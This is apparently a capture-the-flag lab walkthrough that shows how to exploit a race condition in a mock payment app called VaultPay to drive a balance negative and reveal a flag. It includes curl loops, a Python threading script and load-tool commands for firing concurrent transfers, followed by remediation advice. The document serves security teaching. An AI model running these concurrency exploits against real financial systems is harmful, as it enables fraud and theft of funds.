Race Condition Hunter
⏱️ Can you exploit the timing window before it closes?
This financial application thinks it can safely process concurrent transactions with basic checks. 💰 But experienced security researchers know that timing is everything when it comes to race conditions! ⚡ Master the art of concurrent exploitation and discover how milliseconds can make the difference between a failed attack and a successful bypass. 🎯
Start Your Challenge
This solution is for Flags Mode
This walkthrough explains how to hack the lab and capture the flags. For help with Learning Mode questions, use the Request Hint button next to each question.
⏱️ Race Condition Hunter - Complete Solution
🔍 Step 1: Initial Application Analysis
Navigate to http://<target-ip> to access the VaultPay financial application. The main interface displays:
- Welcome Message: "Welcome to VaultPay - Secure Financial Transactions"
- User Context: Currently logged in as "user123" with an account balance
- Transfer Interface: Form to transfer funds between accounts
- Balance Display: Real-time account balance information
- Transaction History: Log of recent transfers and operations
The application processes financial transfers with validation checks, but the timing of these operations creates a vulnerability window.
🔍 Step 2: Understanding the Race Condition
This is a real race condition vulnerability with server-side timing issues. The Flask application performs balance checks and updates in separate operations without proper locking:
# Vulnerable code pattern:
# 1. Check current balance
# 2. Validate transfer amount
# 3. Update balance
# Problem: Steps are not atomic!
Key observations:
- Non-Atomic Operations: Balance check and update happen separately
- Timing Window: Concurrent requests can bypass validation
- Shared Resource: Account balance accessed by multiple requests
- No Locking Mechanism: No synchronization between operations
🔍 Step 3: Testing Normal Transfer Operations
First, understand the normal transfer functionality:
# Test normal transfer
curl -X POST "http://<target-ip>/transfer" \
-H "Content-Type: application/json" \
-d '{"amount": 10, "recipient": "admin"}'Normal transfers return:
- HTTP 200 status code for successful transfers
- Updated balance information
- Transaction confirmation details
- Validation errors for insufficient funds
🔍 Step 4: Identifying the Race Condition Window
The vulnerability exists in the transfer processing logic:
# Race condition occurs between:
# 1. Balance check: if balance >= amount
# 2. Balance update: balance -= amount
# Multiple requests can pass step 1 before any reach step 2This creates a timing window where:
- Multiple transfers can pass the balance check simultaneously
- Each transfer sees the same initial balance
- All transfers proceed despite insufficient total funds
- Account balance becomes negative or inconsistent
🔍 Step 5: Exploiting with Concurrent Requests
Execute multiple simultaneous transfer requests to exploit the race condition:
# Method 1: Using curl with background processes
for i in {1..10}; do
curl -X POST "http://<target-ip>/transfer" \
-H "Content-Type: application/json" \
-d '{"amount": 50, "recipient": "admin"}' &
done
wait
# Method 2: Using GNU parallel (if available)
seq 1 10 | parallel -j 10 curl -X POST "http://<target-ip>/transfer" \
-H "Content-Type: application/json" \
-d '{"amount": 50, "recipient": "admin"}'🔍 Step 6: Python Script for Precise Timing
Use Python threading for more controlled concurrent exploitation:
import threading
import requests
import time
def transfer_request():
url = "http://<target-ip>/transfer"
data = {"amount": 50, "recipient": "admin"}
response = requests.post(url, json=data)
print(f"Response: {response.status_code}")
# Launch 10 concurrent requests
threads = []
for i in range(10):
thread = threading.Thread(target=transfer_request)
threads.append(thread)
# Start all threads simultaneously
for thread in threads:
thread.start()
# Wait for completion
for thread in threads:
thread.join()
🔍 Step 7: Monitoring Balance Manipulation
Check the account balance after the race condition exploit:
curl "http://<target-ip>/balance"Successful exploitation results in:
- Negative Balance: Account balance becomes negative due to over-transfers
- Inconsistent State: Total transferred amount exceeds original balance
- Multiple Successes: All concurrent transfers report success
- Flag Access: Negative balance triggers admin flag exposure
🔍 Step 8: Flag Discovery Methods
When the race condition successfully creates a negative balance, the flag is exposed through multiple discoverable methods:
# Method 1: Check balance endpoint
curl "http://<target-ip>/balance"
# Method 2: Visit main page in browser
# Navigate to http://<target-ip> to see system alertThe balance endpoint reveals additional information when negative:
{
"username": "user123",
"balance": -150.0,
"status": "negative",
"system_alert": "RACE CONDITION DETECTED - SYSTEM COMPROMISED",
"security_flag": "[FLAG_UUID_HERE]",
"message": "Multiple concurrent transfers bypassed balance validation"
}Additionally, visiting the main page in a browser will display a prominent red alert with the flag when the balance is negative.
🔍 Step 9: Alternative Exploitation Methods
Other methods to exploit the race condition:
# Using Burp Suite Intruder
1. Capture transfer request in Burp Proxy
2. Send to Intruder
3. Set attack type to "Pitchfork"
4. Configure multiple threads (10-20)
5. Launch simultaneous requests
# Using Apache Bench (ab)
ab -n 10 -c 10 -p transfer.json -T application/json \
http://<target-ip>/transfer🔍 Step 10: Timing Analysis
The race condition window is typically very small (microseconds to milliseconds). Success factors include:
- Network Latency: Lower latency increases success rate
- Server Load: Higher load creates larger timing windows
- Concurrency Level: More simultaneous requests improve odds
- Request Timing: Precise synchronization maximizes impact
🔍 Real Race Condition Analysis
This challenge demonstrates a genuine server-side race condition vulnerability:
Vulnerability Details:
- Non-Atomic Operations: Balance check and update not synchronized
- Shared Resource Access: Multiple threads access account balance
- Missing Locking: No mutex or database locking mechanism
- Timing Dependency: Security depends on operation order
Attack Vectors:
- Concurrent HTTP Requests: Multiple simultaneous transfers
- Threading Exploitation: Python/script-based attacks
- Tool-Based Testing: Burp Suite, Apache Bench automation
- Timing Manipulation: Network and server load exploitation
🛡️ Security Implications and Remediation
Security Risks:
- Financial fraud and theft
- Account balance manipulation
- System integrity compromise
- Regulatory compliance violations
Remediation Strategies:
- Implement database transactions with locking
- Use atomic operations for critical updates
- Add proper synchronization mechanisms
- Implement idempotency controls
📚 Key Learning Points
- Race Condition Understanding: Timing-dependent security vulnerabilities
- Concurrent Exploitation: Techniques for exploiting timing windows
- Atomicity Importance: Critical operations must be indivisible
- Synchronization Mechanisms: Proper locking and transaction management
- Financial Security: Special considerations for monetary applications